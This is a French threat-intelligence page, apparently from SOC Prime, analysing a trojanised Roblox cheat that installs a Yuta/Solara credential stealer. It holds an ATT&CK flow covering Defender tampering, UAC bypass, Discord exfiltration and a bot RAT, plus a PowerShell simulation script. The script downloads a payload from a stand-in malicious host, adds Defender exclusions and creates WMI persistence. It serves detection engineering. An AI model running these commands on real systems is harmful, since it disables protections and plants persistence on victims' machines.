SOC Prime Bias: Moyen

08 Jun 2026 19:55 UTC

Cheats Roblox alimentés par l’IA livrent le voleur Yuta/Solara

Author Photo
SOC Prime Team linkedin icon Suivre
Cheats Roblox alimentés par l’IA livrent le voleur Yuta/Solara
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un package de tricherie Roblox malveillant combine une interface .NET trojanisée avec un voleur Python intégré via PyInstaller. Le chargeur initial affaiblit les protections de Microsoft Defender, récupère une charge utile de deuxième étape depuis MediaFire et lance un malware dérivé de Glove Stealer pour collecter des identifiants, des cookies, des fichiers de portefeuille et des actifs liés aux jeux. Les données volées sont ensuite exfiltrées via des webhooks Discord cryptés et soutenues par un bot Discord RAT persistant.

Enquête

Le rapport fournit une analyse statique approfondie du malware, y compris l’extraction de la charge utile PyInstaller, la décompilation du bytecode Python 3.12 et la cartographie du workflow de vol d’identifiants. Il décrit également la chaîne complète d’exécution à plusieurs étapes, les méthodes d’évasion de défense utilisées par les opérateurs, et l’approche d’évitement à cinq niveaux ciblant les protections de chiffrement lié à l’application de Chrome.

Atténuation

Les organisations devraient bloquer l’exécution des binaires non signés inconnus, appliquer une liste d’autorisation stricte pour les applications, surveiller les modifications aux exclusions de Defender et l’utilisation suspecte de PowerShell, et détecter les téléchargements inhabituels de données de configuration depuis Pastebin. Le trafic de webhooks Discord devrait être restreint ou étroitement surveillé, et les défenseurs devraient surveiller les lancements de Chrome anormaux utilisant des drapeaux liés au débogueur.

Réponse

Les équipes de sécurité devraient alerter sur la création de winupdate.exe dans le cache AppData, des modifications suspectes des clés de registre Run, la création de tâches planifiées, et une activité inhabituelle des canaux Discord. Les fichiers malveillants devraient être mis en quarantaine, les exclusions non autorisées de Defender supprimées, et une collecte médico-légale effectuée sur tout magasin d’identifiants qui pourrait avoir été compromis.

"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef process fill:#bbffbb classDef persistence fill:#ff99cc %% Node definitions action_user_execution["<b>Action</b> – <b>T1204.002 Exécution par l’utilisateur</b><br/>La victime exécute un exécuteur WPF trojanisé déguisé en outil de triche Roblox."] class action_user_execution action technique_impair_defenses["<b>Technique</b> – <b>T1562.001 Diminuer les défenses : Désactiver ou modifier les outils</b><br/>Ajoute le répertoire actuel à la liste des exclusions de Windows Defender via PowerShell et modifie les fonctions AMSI/ETW."] class technique_impair_defenses technique tool_powershell["<b>Outil</b><br/>Script PowerShell utilisé pour modifier les exclusions de Defender et patcher AMSI/ETW."] class tool_powershell tool technique_bypass_uac["<b>Technique</b> – <b>T1548.002 Abuser du contrôle d’élévation : Contourner l’UAC</b><br/>Détourne HKCUSoftwareClassesms-settingsShellOpencommand et lance fodhelper.exe/computerdefaults.exe pour obtenir une exécution en intégrité élevée."] class technique_bypass_uac technique tool_fodhelper["<b>Outil</b><br/>fodhelper.exe utilisé pour contourner l’UAC."] class tool_fodhelper tool technique_dead_drop["<b>Technique</b> – <b>T1102.001 Service Web : Résolveur Dead Drop</b><br/>Récupère une configuration chiffrée par XOR à partir d’URL Pastebin et résout le lien de téléchargement MediaFire."] class technique_dead_drop technique technique_ingress_tool["<b>Technique</b> – <b>T1105 Transfert d’outil d’entrée</b><br/>Télécharge un voleur Python secondaire emballé via PyInstaller (winupdate.exe) depuis MediaFire et le stocke dans %APPDATA%.cachewinupdate.exe avec des attributs cachés et système."] class technique_ingress_tool technique process_secondary_payload["<b>Processus</b><br/>winupdate.exe (voleur Python)"] class process_secondary_payload process technique_cred_browser["<b>Technique</b> – <b>T1555.003 Identifiants des navigateurs Web</b><br/>Contournement multi-étapes du chiffrement lié à l’application Chrome (point d’arrêt de débogueur, élévation COM, double DPAPI, injection DLL, détournement de registre UAC) pour obtenir des cookies, des jetons et des mots de passe déchiffrés."] class technique_cred_browser technique technique_keylogging["<b>Technique</b> – <b>T1056.001 Capture d’entrée : Keylogging</b><br/>Installe un hook WH_KEYBOARD_LL de bas niveau pour capturer les frappes."] class technique_keylogging technique technique_archive["<b>Technique</b> – <b>T1560.003 Archivage par méthode personnalisée</b><br/>Emballe les fichiers volés dans une archive ZIP en mémoire, fragmentée en morceaux jusqu’à u226425u202fMB chacun."] class technique_archive technique technique_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration sur canal C2</b><br/>Envoie des morceaux ZIP à une URL de webhook Discord."] class technique_exfiltration technique tool_discord_webhook["<b>Outil</b><br/>Webhook Discord utilisé pour l’exfiltration de données."] class tool_discord_webhook tool technique_discord_rath["<b>Technique</b> – <b>Discord Bot RAT</b><br/>Utilise un jeton de bot Discord déchiffré et un ID de canal pour recevoir des commandes distantes (shell, webcam, trace, etc.)."] class technique_discord_rath technique technique_persistence["<b>Technique</b> – <b>T1547.001 Exécution d’autostart Boot/Logon</b><br/>Crée une tâche planifiée, une clé Run HKCU, un script VBS au démarrage, un détournement COM, une entrée de profil PowerShell et une souscription d’événement WMI pour relancer la charge utile après redémarrage."] class technique_persistence persistence technique_dynamic_resolution["<b>Technique</b> – <b>T1568 Résolution dynamique</b><br/>Récupère périodiquement la configuration depuis Pastebin pour adapter les points de terminaison C2."] class technique_dynamic_resolution technique %% Connections action_user_execution –>|déclenche| technique_impair_defenses technique_impair_defenses –>|utilise| tool_powershell technique_impair_defenses –>|active| technique_bypass_uac technique_bypass_uac –>|utilise| tool_fodhelper technique_bypass_uac –>|conduit à| technique_dead_drop technique_dead_drop –>|récupère| technique_ingress_tool technique_ingress_tool –>|stocke et exécute| process_secondary_payload process_secondary_payload –>|exécute| technique_cred_browser process_secondary_payload –>|exécute| technique_keylogging process_secondary_payload –>|collecte des données pour| technique_archive technique_archive –>|prépare des données pour| technique_exfiltration technique_exfiltration –>|envoie à| tool_discord_webhook tool_discord_webhook –>|alimente| technique_discord_rath technique_discord_rath –>|maintient le canal de commande pour| technique_persistence technique_persistence –>|établit| persistence_mechanisms persistence_mechanisms["<b>Processus</b><br/>Tâche planifiée / Clé Run / VBS / Détournement COM / Profil PowerShell / Événement WMI"] class persistence_mechanisms process technique_persistence –>|soutient| technique_dynamic_resolution technique_dynamic_resolution –>|met à jour| technique_dead_drop "

Flux d’Attaque

Exécution de Simulation

Condition Préalable : Le test préalable de Télémétrie & Baseline doit avoir réussi.

Rationnel : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

  • Narratif & Commandes d’Attaque :

    1. Transfert d’Outil d’Entrée (T1105) : L’attaquant télécharge l’exécuteur Roblox malveillant (SLaunch.exe) depuis un serveur web compromis.
    2. Exécution avec Manipulation de Defender (T1548.002) : En utilisant PowerShell, l’attaquant exécute SLaunch.exe avec une ligne de commande qui invoque Add-MpPreference -ExclusionPath "C:Roblox" pour mettre en liste blanche le dossier d’installation de Roblox, empêchant Windows Defender de scanner la charge utile injectée.
    3. Persistance (T1546.003 / T1547.001) : Une souscription d’événement WMI est créée pour relancer SLaunch.exe au démarrage du système.
    4. Récolte d’Identifiants (T1056.001, T1555.003) : Pendant que l’injecteur est en cours d’exécution, il capture les frappes et extrait les identifiants Roblox sauvegardés dans les magasins du navigateur.
  • Script de Test de Régression : Le script PowerShell suivant reproduit les étapes 2–3 et génère la télémétrie qu’attend la règle Sigma.

    # ------------------------------------------------------------
    # Exécution de l'Injecteur Roblox + Exclusion de Defender (Script TC)
    # ------------------------------------------------------------
    
    # Chemins (ajuster si nécessaire)
    $injectorPath = "C:TempSLaunch.exe"
    $defenderExcl = "C:Roblox"
    
    # 1. Assurez-vous que l'injecteur existe (indicateur de téléchargement)
    if (-Not (Test-Path $injectorPath)) {
        Write-Host "Téléchargement de l'injecteur malveillant..."
        Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
    }
    
    # 2. Exécuter l'injecteur avec la ligne de commande d'exclusion de Defender
    $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
    Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
    
    # 3. Créer une souscription d'événement permanente WMI pour la persistance
    $wmiFilter = @"
    SELECT * FROM __InstanceCreationEvent
    WITHIN 60
    WHERE TargetInstance ISA 'Win32_Process' 
    AND TargetInstance.Name = 'SLaunch.exe'
    "@
    
    $filterPath = "ROOTDEFAULT"
    $filterName = "RobloxInjectorFilter"
    $consumerName = "RobloxInjectorConsumer"
    
    # Enregistrer le filtre
    $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
        -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
    
    # Enregistrer le consommateur de ligne de commande
    $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
        -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
    
    # Lier le filtre au consommateur
    Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
        -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
    
    Write-Host "Simulation complète – la télémétrie de détection devrait avoir été générée."
  • Commandes de Nettoyage : Supprimez l’exclusion de Defender et la souscription WMI créée ci-dessus.

    # Supprimer l'exclusion de Defender
    Remove-MpPreference -ExclusionPath "C:Roblox"
    
    # Supprimer le filtre WMI et le consommateur
    $filterPath = "ROOTDEFAULT"
    Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
    Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
    Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
        -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
    
    # Supprimer le binaire de l'injecteur
    Remove-Item -Path "C:TempSLaunch.exe" -Force